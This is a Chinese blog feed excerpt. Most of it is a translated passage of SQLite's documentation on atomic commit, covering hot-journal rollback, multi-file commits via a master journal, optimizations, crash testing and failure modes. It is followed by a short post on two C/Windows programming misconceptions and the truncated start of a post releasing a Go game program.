&nbsp;&nbsp;&nbsp;&nbsp;假设掉电发生在3.10节所讲的那一步，也就是把数据库变化刷到磁盘中去的时侯。电力恢复后，情况可能会像下图所示的那样。我们要修改三页数据，但只成功完成了一页，有一页只写了一部分，另一页则一点都没写。 <br>&nbsp;&nbsp;&nbsp;&nbsp;电力恢复后日志文件是完整的，这是个关键。3.7节中的操作就是为了保证在对数据文件做任何改变之前回滚日志的所有内容已经安全的写到持久性存储器中去了。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_rollback-0.gif">
<h4>4.2. &#8220;热的&#8221;回滚日志</h4>
&nbsp;&nbsp;&nbsp;&nbsp;任何进程第一次访问数据库文件之前，必须获得一个3.2节中描述的共享锁。然后，如果发现还有一个日志文件，SQLITE就会检查这个回滚日志是不是&#8220;热的&#8221;。我们必须回放热日志文件，从而把数据库恢复到一致的状态。只有在一个程序正在提交事务时发生掉电或崩溃的情况下，才会出现热日志文件。 <br>&nbsp;&nbsp;&nbsp;&nbsp;日志文件在符合以下所有条件时才是热的： &nbsp;&nbsp;&nbsp;&nbsp;
<li>日志文件是存在的 &nbsp;&nbsp;&nbsp;&nbsp;
<li>日志文件不是空文件 &nbsp;&nbsp;&nbsp;&nbsp;
<li>数据库文件上没有预定锁 &nbsp;&nbsp;&nbsp;&nbsp;
<li>日志文件头中没有主日志文件的文件名，或者，如果有主日志文件名的话，主日志文件是存在的。 <br>&nbsp;&nbsp;&nbsp;&nbsp;热日志文件告诉我们：之前有进程试图提交一个事务，但由于某种原因，这个提交没有完成。也就是说：数据库处于一种不一致的状态，使用之前必须修复（回滚）。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_rollback-1.gif">
<h4>4.3. 获取数据库上的独占锁</h4>
&nbsp;&nbsp;&nbsp;&nbsp;处理热日志的第一步是获得数据库文件上的独占锁，这可以防止两个或更多的进程同时回放一个热日志。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_rollback-2.gif">
<h4>4.4. 回滚不完整的修改</h4>
&nbsp;&nbsp;&nbsp;&nbsp;获得了独占锁，进程就有权力修改数据库文件了。它从日志中读出页面的原有内容，然后把它们分别写回到其在数据库文件中的原始位置上去。前面说过，日志文件的头部记录了数据库文件在事务开始前的大小，如果修改让数据库文件变大了，SQLITE会使用这一信息把文件截断到原始大小。这一步结束之后，数据库文件就应该和事务开始前一样大，并且包含和那时完全一样的数据了。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_rollback-3.gif">
<h4>4.5. 删除热日志文件</h4>
&nbsp;&nbsp;&nbsp;&nbsp;日志中的所有信息都回放到数据库文件，并将数据库文件刷到磁盘（回滚时可能会再次掉电）以后，就可以删除热日志文件了。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_rollback-4.gif">
<h4>4.6. 继续前进，就像那个中断了的事务根本没发生过一样</h4>
&nbsp;&nbsp;&nbsp;&nbsp;回滚的最后一步是把独占锁降级为共享锁。此后，数据库的状态看起来就像那个中断了的事务根本没有开始过一样了。由于整个回滚过程是完全自动、透明的，使用SQLITE的那个程序根本就不会知道有一个事务中断并回滚了。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_rollback-5.gif">
<h3>5. 多文件提交</h3>
&nbsp;&nbsp;&nbsp;&nbsp;通过ATTACH DATABASE命令，SQLITE允许一个数据库连接使用多个数据库文件。当在一个事务中修改多个文件时，所有文件都会被原子的更新。换句话说，或者所有文件都会被更新，或者一个也不会被更新。在多个文件上实现原子提交比在单个文件上实现更复杂，本章将解释SQLITE是如何做到这一点的。
<h4>5.1. 每个数据库一个日志</h4>
&nbsp;&nbsp;&nbsp;&nbsp;当一个事务涉及了多个数据库文件时，每个数据库都有自己回滚日志，并且对它们的锁也是各自独立的。下图展示了三个数据库文件在一个事务中被修改的情况，它所描述的状态相当于单文件事务在第3.6节中的状态。每个数据库文件有各自的预定锁，它们将要被修改的那些页的原始内容已经写进回滚日志了，但还没有刷到磁盘上。用户内存中的数据已经被修改了，不过数据库文件本身还没有任何变化。 <br>&nbsp;&nbsp;&nbsp;&nbsp;相比之前，下图做了一些简化。在这张图上，蓝色仍然代表原始数据，粉红色仍然代表新数据。但上面没有画出回滚日志和数据库的页，并且也没有明确区分操作系统缓存中的数据和磁盘上的数据。所有这些在这张图上仍然适用，不过即使把它们画出来我们也学不到什么新的东西，所以，为了缩小图幅，我们把它们省略掉了。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_multi-0.gif">
<h4>5.2. 主日志文件</h4>
&nbsp;&nbsp;&nbsp;&nbsp;多文件提交中的下一步是创建一个&#8220;主日志文件&#8221;。这个文件的名字是最初的数据库文件名（也就是用sqlite3_open()打开的那个数据库，而不是之后附加上来的那些）加上后缀&#8220;-mjHHHHHHHH&#8221;。其中HHHHHHHH是一个32位16进制随机数，每次生成新的主日志文件时，它都会不同。 <br>&nbsp;&nbsp;&nbsp;&nbsp; （注意：上面一段中用来生成主日志文件名的方法是3.5.0版中使用的方法。这个方法并没有规范化，也不是SQLITE对外接口的一部分，在未来版本中，我们可能会修改它。） <br>&nbsp;&nbsp;&nbsp;&nbsp; 主日志中没有与原始数据库页面内容相关的信息，它里面保存的是所有参与到这个事务中的回滚日志文件的完整路径。 <br>&nbsp;&nbsp;&nbsp;&nbsp; 主日志生成完毕后，会被立即刷到磁盘上，中间没有任何别的操作。在unix系统上，主日志所在的目录，也会被同步一下，以确保掉电后它也会出现在这个目录下。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_multi-1.gif">
<h4>5.3. 更新回滚日志文件头</h4>
&nbsp;&nbsp;&nbsp;&nbsp;下一步是把主日志的路径记录到回滚日志的文件头中去，回滚日志创建时在文件头预留了相应的空间。 <br>&nbsp;&nbsp;&nbsp;&nbsp;主日志路径写到回滚日志文件头之前和之后，要分别把回滚日志的内容往磁盘上刷一次。这可能有些效率损失，但非常重要，而且，幸运的是，刷第二次时一般只有一页（最开始的那页）数据有变化，所以整个操作可能并没有想象的那么慢。 <br>&nbsp;&nbsp;&nbsp;&nbsp;这个操作大致相当于单文件提交时的第7步，也就是第3.7节中的内容。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_multi-2.gif">
<h4>5.4. 更新数据库文件</h4>
&nbsp;&nbsp;&nbsp;&nbsp;把回滚日志刷到磁盘上后，就可以安全的更新数据库文件了。我们需要获得所有数据库文件上的独占锁，然后写数据，并把这些数据刷到磁盘上去。这一步相当于单文件提交时的第8、9和10步。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_multi-3.gif">
<h4>5.5. 删除主日志文件</h4>
&nbsp;&nbsp;&nbsp;&nbsp;下一步是删除主日志文件，这是多文件事务被实际提交的时间点。它相当于单文件提交时的第11步，也就是删除日志文件的那一步。 <br>&nbsp;&nbsp;&nbsp;&nbsp;如果掉电或系统崩溃发生在这之后，重启时，即使存在回滚日志文件，事务也不会被回滚。这里的区别在于回滚日志的文件头里面有主日志的路径。SQLITE只认为文件头中没有主日志文件路径的回滚日志（单文件提交的情况）或主日志文件仍然存在的回滚日志是&#8220;热的&#8221;，并且只会回放热的回滚日志。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_multi-4.gif">
<h4>5.6. 清理回滚日志文件</h4>
&nbsp;&nbsp;&nbsp;&nbsp;最后是删除所有的回滚日志文件，释放独占锁以便其他进程发现数据的变化。这一步对应的是单文件提交时的第12步。 <br>&nbsp;&nbsp;&nbsp;&nbsp;由于事务已经提交了，所以删除这些文件在时间上并不是非常紧迫。当前的实现是删除一个日志文件，并释放其对应的数据库文件上的独占锁，然后再接着处理下一个。今后，我们可能把它改成先删除所有日志文件，再释放独占锁。这里，只要保证删除日志文件在前，释放其对应的锁在后就行，文件被删除的顺序或锁被释放的顺序并不重要。 <br><img src="http://www.cppblog.com/images/vckbase_com/localvar/1209/o_multi-5.gif">
<h3>6. 提交中的更多细节</h3>
&nbsp;&nbsp;&nbsp;&nbsp;第3章从总体上介绍了SQLITE原子提交的实现方法，但漏掉了几个重要的细节，本章将对它们进行一些补充说明。
<h4>6.1. 总是日志中记录整个扇区</h4>
&nbsp;&nbsp;&nbsp;&nbsp;在把数据库页面的原始内容写进回滚日志时，即使页面比扇区小，SQLITE也会把完整的扇区写进去。从前，SQLITE中的扇区大小是硬编码的512字节，而最小页面也是512字节，所以不会有什么问题。但从3.3.14版开始，SQLITE也支持扇区大小超过512字节的存储器了，所以，从这一版起，当某个扇区中的任何页面被写进日志时，这个扇区中的其它页面也会被一同写进去。 <br>&nbsp;&nbsp;&nbsp;&nbsp;掉电可能在写扇区时发生，总是记录整个扇区可以在这种情况下保证数据库不被破坏。例如，我们假设每个扇区有四个页面，现在2号页面被修改了，为了把变化写入这个页面，底层硬件，因为它只能写完整的扇区，也会把1、3、4号页面重新写一遍，如果写操作被打断，这三个页面的数据可能就不对了。为了避免这种情况，必须把扇区中的所有页面写到回滚日志中去。
<h4>6.2. 日志文件中的垃圾数据</h4>
&nbsp;&nbsp;&nbsp;&nbsp;向日志文件末尾追加数据时，SQLITE一般悲观的假设文件系统会先用垃圾数据把文件撑大，再用正确的数据覆盖这些垃圾。换句话说，SQLITE假设文件体积先变大，之后才是写入实际内容。如果掉电发生在文件已经变大但数据还未写入时，回滚日志中就会包含垃圾数据。电力恢复后，另一个SQLITE进程会发现这个日志文件，并试图恢复它，这就有可能把垃圾数据拷贝到数据库文件，进而对其造成破坏。 <br>&nbsp;&nbsp;&nbsp;&nbsp;为对付这个问题，SQLITE建立了两道防线。首先，SQLITE在回滚日志的文件头中记录了实际的页面数。这个数字一开始是0，所以，在回放一个不完整的回滚日志时，SQLITE会发现文件中没有包含任何页面，也就不会对数据库做任何修改。提交之前，回滚日志会被刷到磁盘上，以保证其中没有任何垃圾。之后，文件头中的页面数才会被改成实际的数值。文件头总是保存在一个单独的扇区去，所以，如果在覆盖它或把它刷到磁盘上时发生掉电，其它页面是不会被破坏的。注意回滚日志要往磁盘上刷两次：第一次是写页面的原始内容，第二次是写文件头中的页面数。 <br>&nbsp;&nbsp;&nbsp;&nbsp;上一段描述的是同步选项设置为&#8220;full&#8221;（PRAGMA synchronous=FULL）时的情形，这也是默认的设置。不过，当同步选项低于&#8220;normal&#8221;时，SQLITE只会刷一次日志文件，也就是修改完页面数后的那一次。由于（大于0的）页面数可能先于其它数据到达磁盘，这样做有一定的风险。SQLITE假设文件系统会记录写请求，所以即使先写数据后写页面数，页面数也可能会先被磁盘记录下来。所以，作为第二道防线，SQLITE在日志文件中为每页数据都记录了一个32位的校验码。回滚日志文件时，SQLITE会检查这个校验码，一旦发现错误，就会放弃回滚操作。要注意的是，校验码无法完全保证页面数据的正确性，数据有错误但校验码正确的概率虽然极小，却不是零.。不过，校验码机制至少让类似的事情看起来不那么容易发生了。 <br>&nbsp;&nbsp;&nbsp;&nbsp;在同步选项设置为&#8220;full&#8221;时，就没有必要用校验码了，我们只在同步选项低于&#8220;normal&#8221;时才需要它。然而，鉴于校验码是无害的，故不管同步选项如何设置，它们总是出现在回滚日志中的。
<h4>6.3. 提交之前的缓存溢出</h4>
&nbsp;&nbsp;&nbsp;&nbsp;第三章描述的过程假设提交之前所有的数据库变化都能保存在内存中。一般来说就是这样的，但特殊情况也会出现。这时，数据库变化会在事务提交之前用完用户缓存，需要把缓存中的内容提前写入数据库才行。 <br>&nbsp;&nbsp;&nbsp;&nbsp;操作之前，数据库连接处于第3.6步时的状态：原始页面的内容已经保存到回滚日志了，修改后的页面位于用户内存中。为了回收缓存，SQLITE执行第3.7到3.9步，也就是把回滚日志刷到磁盘上，获取独占锁，然后把变化写入数据库。但后续步骤在事务真正提交之前都有所不同。SQLITE会在日志文件的最后追加一个文件头（使用一个单独的扇区），独占锁继续保留，而执行流程将跳到第3.6步。当事务提交或再次回收缓存时，将重复执行第3.7和3.9步（由于第一次回收缓存时获得了独占锁且一直没有释放，3.8步将被跳过）。 <br>&nbsp;&nbsp;&nbsp;&nbsp;把预定锁提升为独占锁将降低并发度，额外的刷磁盘操作也非常慢，所以回收缓存会严重影响系统效率。因此，只要有可能，SQLITE就不会使用它。
<h3>7. 优化</h3>
<br>&nbsp;&nbsp;&nbsp;&nbsp;对程序的性能分析显示，在绝大多数系统和绝大多数情况下，SQLITE把绝大部分时间消耗在了磁盘I/O上。所以，减少磁盘I/O的数量是最有可能大幅提升效率的方法。本章将介绍SQLITE在保证原子提交的前提下，为减少磁盘I/O而使用的一些技术。
<h4>7.1. 在事务之间保持缓存数据</h4>
&nbsp;&nbsp;&nbsp;&nbsp;在3.12节中，我们说过当释放共享锁时会丢弃所有已经在用户缓存中的数据库信息。之所以这样做，是因为没有共享锁的时候其他进程能够随意修改数据库文件的内容，从而导致已经缓存的数据过时。所以，每当一个新事务开始时，SQLITE都必须重新读一次以前读过的东西。这个操作并不像大家想象的那么糟糕，因为要重新读的数据极有可能仍在操作系统的缓存中，所谓的&#8220;重读&#8221;一般仅仅是把数据从内核空间拷贝到用户空间而已。不过，即使如此，也是需要一些时间的。 <br>&nbsp;&nbsp;&nbsp;&nbsp;从3.3.14版开始，我们在SQLITE中增加了一个机制来避免不必要的重读。这些版本中，释放共享锁后，用户缓存的页面继续保留。等到SQLITE启动下一个事务并获得共享锁后，它会检查是否有其他进程修改了数据库文件。如果自上次释放锁后有修改，用户缓存会被清空并重读。但一般不会有任何修改，所以用户缓存仍然有效，这样很多不必要的读操作就被避免了。 <br>&nbsp;&nbsp;&nbsp;&nbsp;为了判断数据库文件是否被修改，SQLITE在文件头（第24到27字节）中使用了一个计数器，每个修改操作都会递增它。释放数据库锁之前，SQLITE会记下这个计数器的值，等到再次获得锁以后，它比较记录的值和实际的值，相同则重用已有的缓存数据，不同则清空缓存并重读。
<h4>7.2. 独占访问模式</h4>
&nbsp;&nbsp;&nbsp;&nbsp;自3.3.14版开始，SQLITE中增加了&#8220;独占访问模式&#8221;。在这种模式下，SQLITE会在事务提交后继续保留独占锁。这样一来，其他进程就不能访问数据库了。不过，由于大多数的部署方案都只有一个进程访问数据库，所以一般不会有什么问题。独占访问模式让以下三个减少磁盘I/O的方法成为了可能：
<ol>
    <li>除了第一个事务，不必每次递增数据库文件头中的计数器。这通常意味着在数据库文件和回滚日志中各自少刷一次1号页面。
    <li>因为没有别的进程能访问数据库，所以没必要每次启动事务时检查计数器和清空用户缓存。
    <li>事务结束后可以截断（译注：把文件长度设置为0字节）回滚日志文件，而不是删除它。在很多操作系统上，截断比删除快的多。 </li>
</ol>
&nbsp;&nbsp;&nbsp;&nbsp;第三项优化，也就是用截断代替删除，并不要求一直拥有独占锁。理论上说，总是实现它，而不是只在独占访问模式下实现它是可能的，也许我们会在未来版本中让其成为现实。不过，到目前为止（3.5.0版），这项优化仍然只在独占访问模式下有效。
<h4>7.3. 不记录空闲页面</h4>
&nbsp;&nbsp;&nbsp;&nbsp;从数据库中删除数据时，那些不再使用的页面会被加到&#8220;空闲页表&#8221;里去。之后的插入操作将首先使用这些页面，而不是扩大数据库文件。 <br>&nbsp;&nbsp;&nbsp;&nbsp;一些空闲页面中也有重要数据，比如说其他空闲页面的位置等等。但大多数空闲页面的内容没有用，我们把这些页面称为&#8220;叶页&#8221;。修改叶页的内容对数据库没有任何影响。 <br>&nbsp;&nbsp;&nbsp;&nbsp;由于叶页的内容没用，SQLITE不会把它们在提交过程的第3.5步中记录到回滚日志里去。也就是说，修改叶页，但不在回滚过程中恢复它们对数据库无害。同样的，一个新叶页的内容既不会在第3.9步中写入数据库也不会在第3.3步中被读出来。在数据库文件有空闲空间时，这项优化大幅减少了磁盘I/O的数量。
<h4>7.4. .单页更新和原子扇区写</h4>
&nbsp;&nbsp;&nbsp;&nbsp;从3.5.0版开始，新的VFS接口包含了一个名叫xDeviceCharacteristics的方法，它可以报告底层存储器是否支持一些特性。这些特性中，有一个是&#8220;原子扇区写&#8221;。 <br>&nbsp;&nbsp;&nbsp;&nbsp;我们前面说过，SQLITE假设写扇区是线性的，而不是原子的。线性写从扇区的一端开始，逐字节写到另一端结束。如果在线性写的中间发生掉电，则可能扇区的一端被修改了，另一端却保持不变。但在原子写的情况下，扇区或者被完全更新了，或者完全没有变化。 <br>&nbsp;&nbsp;&nbsp;&nbsp;我们相信大多数现在磁盘驱动器实现了原子扇区写。掉电时，驱动器使用电容中的电能和（或）盘片旋转的动能完成正在进行的操作。然而，在系统写调用与磁盘电子元件之间存在太多的层次，所以我们在Unix和windows的默认VFS实现上做了一个保守的假设，认为写扇区不是原子的。另一方面，能对其使用的文件系统有更多发言权的设备厂商，如果它们的硬件确实支持原子扇区写，也许会选择打开xDeviceCharacteristics中的这个选项。 <br>&nbsp;&nbsp;&nbsp;&nbsp;当写扇区是原子的、数据库页面和扇区一样大，而且数据库的变化只涉及到一个页面时，SQLITE会跳过整个记日志和同步过程，直接把修改后的页面写到数据库文件上。数据库文件第一页上的修改计数器也会独立修改，因为即使在更新它之前掉电也是无害的。 <br>&nbsp;&nbsp;&nbsp;&nbsp;译注：个人认为，如果硬件不支持原子扇区写，是无法在软件层次上实现绝对意义上的原子提交的。
<h4>7.5. 支持安全追加的文件系统</h4>
&nbsp;&nbsp;&nbsp;&nbsp;3.5.0版加入的另一项优化措施是基于文件系统的&#8220;安全追加&#8221;功能的。SQLITE假设向文件（特别是回滚日志文件）追加数据时，文件大小的改变早于文件内容增加。所以，如果掉电发生在文件变大之后，数据写完之前，文件中就会包含垃圾数据。也可以通过VFS中的xDeviceCharacteristics方法指出文件系统支持&#8220;安全追加&#8221;功能，这意味着内容的增加早于大小的改变，所以掉电或系统崩溃不可能向日志文件中引入垃圾。 <br>&nbsp;&nbsp;&nbsp;&nbsp;文件系统支持安全追加时，SQLITE总是在日志文件头的页面数字段中填入-1，表示回滚时要处理的页面数应该根据日志文件的大小自动计算。这个-1不会被修改，所以提交时，我们可以不用单独刷一次日志文件的第一页。而且，当回收缓存时，也没有必要在日志文件末尾再写一个新的文件头了，我们只要继续在已有的日志文件上追加新页面即可。
<h3>8. 对原子提交的测试</h3>
&nbsp;&nbsp;&nbsp;&nbsp;我们作为SQLITE的开发者，对其在掉电和系统崩溃时的健壮性充满自信，因为，我们的自动测试过程在模拟的掉电故障下，对它的恢复能力进行了非常多的检测。我们把这种模拟的故障称为&#8220;崩溃测试&#8221;。 <br>&nbsp;&nbsp;&nbsp;&nbsp;崩溃测试使用了一个修改过的VFS，以便模拟掉电或崩溃时可能出现的各种文件系统错误。它可以模拟出没有完整写入的扇区、因为写操作没有完成而包含垃圾数据的页面、顺序错误的写操作等，这些错误在测试场景的各个路径点上都会出现。崩溃测试不停地执行事务，让模拟的掉电或系统崩溃发生在各个不同的时刻，造成各种不同的数据损坏。在模拟的崩溃事件发生之后，测试程序重新打开数据库，检测事务是否完全完成或者（看起来）根本没有启动，也就是数据库是否处于一个一致的状态。 <br>&nbsp;&nbsp;&nbsp;&nbsp;SQLITE的崩溃测试帮助我们发现了恢复机制中的很多小问题（现在都已经修复了）。其中的一部分非常隐晦，单单通过代码检查和分析可能是发现不了的。这些经验让SQLITE的开发者相信：那些没有使用类似崩溃测试的数据库系统，非常有可能包含在系统崩溃或掉电时导致数据库损坏的BUG。
<h3>9. 可能发生的问题</h3>
&nbsp;&nbsp;&nbsp;&nbsp;虽然SQLITE的原子提交机制本身是健壮的，但它却有可能被恶意的对手或不那么完善的操作系统实现给打垮。本章将介绍几个可能在掉电或系统崩溃时导致数据库损坏的情形。
<h4>9.1. 有问题的锁</h4>
&nbsp;&nbsp;&nbsp;&nbsp;SQLITE使用文件系统的锁来保证某一时刻只有一个进程和数据库连接可以修改数据库。文件系统的锁机制是在VFS层实现的，并且在每种操作系统上都有所不同。SQLITE自身的正确性依赖于这个实现的正确性。如果它出了问题，导致两个或更多进程能同时修改一个数据库文件，肯定会严重损坏数据库。 <br>&nbsp;&nbsp;&nbsp;&nbsp;有人向我们报告说windows的网络文件系统和（Unix的，译注）NFS的锁都有些问题。我们验证不了这些报告，但是考虑到在网络文件系统上实现一个正确的锁的难度，我们也无法否定它们。由于网络文件系统的效率也很低，所以我们建议你最好是避免在其上使用SQLITE。如果一定要这么做的话，请考虑使用一个附加的锁机制来保证即使文件系统自身的锁机制不起作用时，也不会出现多个进程同时写一个数据库文件的情况。 <br>&nbsp;&nbsp;&nbsp;&nbsp;苹果Mac OS X计算机上预装的SQLITE进行了一个扩展，可以在苹果支持的所有网络文件系统上使用一个替代的加锁策略。只要所有进程使用统一的方式访问数据库文件，这个扩展就工作的很好。但不幸的是，这些加锁机制是相互独立的，如果一个进程用AFP锁，另一个用点文件（dot-file）锁，那这两个进程就可能发生冲突，因为AFP锁并不能禁止点文件锁，反之亦然。
<h4>9.2. 不完整的刷磁盘操作</h4>
&nbsp;&nbsp;&nbsp;&nbsp;在第3.7节和3.10节中你已经看到，SQLITE要把系统缓存刷到磁盘上。在unix系统上，这是用fsync()系统调用来完成的，windows上则是用FlushFileBuffers()。可是，我们收到的报告显示，很多系统上的这些接口没有广告宣传的那么好。我们听说，在一些windows版本上，通过修改注册表，可以完全禁用FlushFileBuffers()；而linux的某些历史版本中的fsync仅仅是个什么也不干的空操作。我们还知道，即使是在FlushFileBuffers()或fsync()可以正常工作的系统上，IDE磁盘控制器也经常会在数据仍处在自己的缓存中时，撒谎说数据已经到达磁盘表面了。 <br>&nbsp;&nbsp;&nbsp;&nbsp;在苹果的系统上，如果你把fullsync选项打开（PRAGMA fullsync=ON），它可以保证数据确实刷到磁盘上了。Fullsync本身就很慢，而fullsync的实现还需要重置磁盘控制器，这会让其他根本不相关的磁盘I/O也变慢，所以我们不建议你这样做。
<h4>9.3. 文件删除只完成了一半</h4>
&nbsp;&nbsp;&nbsp;&nbsp;SQLITE假设从用户程序的角度看文件删除是原子操作。如果删除文件时掉电，电力恢复后，SQLITE期望这个文件或者不存在，或者是一个完整的、和删除前一模一样的文件。如果操作系统做不到这一点，事务就有可能不是原子的。
<h4>9.4. 文件中的垃圾</h4>
&nbsp;&nbsp;&nbsp;&nbsp;SQLITE的数据库文件是普通的文件，其它用户程序也可以打开它并任意的往里面写数据，一些流氓程序就可能这样做。垃圾数据的来源也可能是操作系统或磁盘控制器的BUG，尤其是那些会在掉电时触发的BUG。对此类问题，SQLITE无能为力。
<h4>9.5. 删除或重命名热日志文件</h4>
&nbsp;&nbsp;&nbsp;&nbsp;如果发生了掉电或崩溃，并且生成了热日志文件，那么，在另一个SQLITE进程打开它和数据库文件并完成回滚之前，这两个文件的名字绝对不能改变。在第4.2步时，SQLITE会在打开的数据库文件所在的目录下，寻找热日志文件，这个文件的名字是从数据库文件名派生而来的。所以，只要这两个文件中的任何一个被移走或改名，就会找不到热日志，也就不会进行回滚。 <br>&nbsp;&nbsp;&nbsp;&nbsp;我们认为SQLITE恢复过程的失败模式一般是这样的：发生了掉电；电力恢复后，一位好心的用户或者系统管理员开始清点损失；他们发现有一个名为&#8220;important.data&#8221;的文件，他们可能很熟悉这个文件，所以没有对其进行任何操作；但崩溃后，磁盘上还有一个名为&#8220;important.data-journal&#8221;的热日志文件，用户把它删除了，因为他们认为这个文件是系统中的垃圾。防止此类事件的唯一方法可能就是加强用户教育了。 <br>&nbsp;&nbsp;&nbsp;&nbsp;如果有多个链接（硬链接或符号链接）指向一个数据库文件，那么生成的日志文件会依据打开数据库文件时使用链接名来命名。如果发生了崩溃，并且下次打开数据库时使用了另一个链接，则也会因为找不到热日志文件而不进行回滚。 <br>&nbsp;&nbsp;&nbsp;&nbsp;某些时候，掉电会导致文件系统出错，以致新更改的文件名无法记录，这时，文件就会被移动到&#8220;/lost+found&#8221;目录下。为防止此类错误，SQLITE会在同步日志文件的同时，打开并同步一下这个文件所在的目录。但是，一些八竿子打不着的程序，在数据库文件所在目录下创建其他文件的操作，也可能会导致文件被移动到&#8220;/lost+found&#8221;里去，这是SQLITE控制不了的，所以SQLITE对它也没什么办法。如果你正在使用此类名字空间易被损坏的文件系统（我们相信大多数现代的日志文件系统没有此问题），我们建议你把SQLITE的数据库文件放在单独的子目录中。
<h3>10. 总结和展望</h3>
&nbsp;&nbsp;&nbsp;&nbsp;不论是过去还是现在，总有人能发现一些SQLITE原子提交机制的失败模式，开发者也不得不为此做一些补丁。但这类事情发生的已经越来越少了，失败模式也变得越来越隐晦。不过，如果藉此认为SQLITE的原子提交逻辑已经无懈可击了，肯定是相当愚蠢的。开发者们能承诺的只是尽量快速的修复新发现的BUG。 <br>&nbsp;&nbsp;&nbsp;&nbsp;同时，我们也在寻找新的方法来优化这个提交机制。在Linux、MacOSX和windows上，当前的VFS实现都做了悲观的假设。也许在与一些熟悉这些系统工作原理的专家交流之后，我们能放宽一些限制，让它跑得更快些。特别的，我们猜测大部分现代文件系统已经具有了&#8220;安全追加&#8221;和&#8220;原子扇区写&#8221;这两个特性，但在确认之前，我们仍会保守的做最坏假设。<img src="http://blog.vckbase.com/localvar/aggbug/32581.html" width=1 height=1> </li>
<img src ="http://www.cppblog.com/localvar/aggbug/132758.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2008-02-13 09:47 <a href="http://www.cppblog.com/localvar/archive/2008/02/13/132758.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>再记自己的两个常识性错误</title><link>http://www.cppblog.com/localvar/archive/2008/01/08/132759.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Tue, 08 Jan 2008 03:58:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2008/01/08/132759.html</guid><description><![CDATA[<p>1. WSAStartup只要每个进程调用一次就行了<br>&nbsp;&nbsp;&nbsp; 不知为什么, 几年以来，我一直认为要为每个使用网络的线程调一次. 直到今天才发现弄错了, 按说我一直是仔细阅读msdn的, 唉! 不过为每个线程调一次只是多余的, 并不是错误的, 也许这就是我一直没有注意到它的原因吧.<br>2. do while循环中的continue会跳到哪里</p>
<div style="BORDER-BOTTOM: windowtext 0.5pt solid; BORDER-LEFT: windowtext 0.5pt solid; PADDING-BOTTOM: 4px; PADDING-LEFT: 5.4pt; WIDTH: 98%; PADDING-RIGHT: 5.4pt; BACKGROUND: #e6e6e6; BORDER-TOP: windowtext 0.5pt solid; BORDER-RIGHT: windowtext 0.5pt solid; PADDING-TOP: 4px">
<div><span style="COLOR: #0000ff">do</span><span style="COLOR: #000000">&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_3_42_Closed_Text></span><span id=Codehighlighter1_3_42_Open_Text><span style="COLOR: #000000">{<br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;①</span><span style="COLOR: #008000"><br></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">;<br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">continue</span><span style="COLOR: #000000">;<br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;②</span><span style="COLOR: #008000"><br></span><span style="COLOR: #000000">}</span></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">(&nbsp;i&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">10</span><span style="COLOR: #000000">&nbsp;);</span></div>
</div>
<p>&nbsp;&nbsp;&nbsp; 一直认为是①, 今天正在写的程序出错了才发现是②. 老天保佑以前的程序不出错吧<img border=0 src="http://www.cppblog.com/Emoticons/QQ/02.gif" width=20 height=20>. 这个错误一直没发现的原因有两点，一是我用do while循环比较少, 里面有continue的更少; 二是自己偷懒了, 想当然了, 其实以前怀疑过它的结果的, 但觉得①更符合逻辑就没有深究.</p>
<p>&nbsp;&nbsp;&nbsp; 犯了错误总是比较郁闷的, 不过能在一个上午认识到这样两个错误，也算收获不小了。</p>
<img src="http://blog.vckbase.com/localvar/aggbug/31689.html" width=1 height=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132759.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2008-01-08 11:58 <a href="http://www.cppblog.com/localvar/archive/2008/01/08/132759.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>发布一个小程序(围棋方面的)</title><link>http://www.cppblog.com/localvar/archive/2007/06/11/132775.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Mon, 11 Jun 2007 01:27:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2007/06/11/132775.html</guid><description><![CDATA[昨天整理家当时想起来的，从最早开始写到现在已经将近10年了，最后一次修改也是7年前的事了，发上来做个纪念吧。很多地方实现的很难看，但对初学者应该还有些参考价值。昨天稍微改了一下，能在vs2005下编译通过了，不过由于当时赶&#8220;时髦&#8221;，用了direct sound，但现在我机器上没有directx的库了，所以只好把相关的部分都注释了，后果就是音效部分没有了，落子时没有声音，语音提示也没了。<br>对围棋爱好者，这个程序可能也有点用，它支持双人对弈、打谱等功能，还自带了200局棋谱。<br>这个程序，我不维护了，所以有任何问题，请不要找我<img border=0 src="http://www.cppblog.com/Emoticons/QQ/13.gif" width=20 height=20>。<a 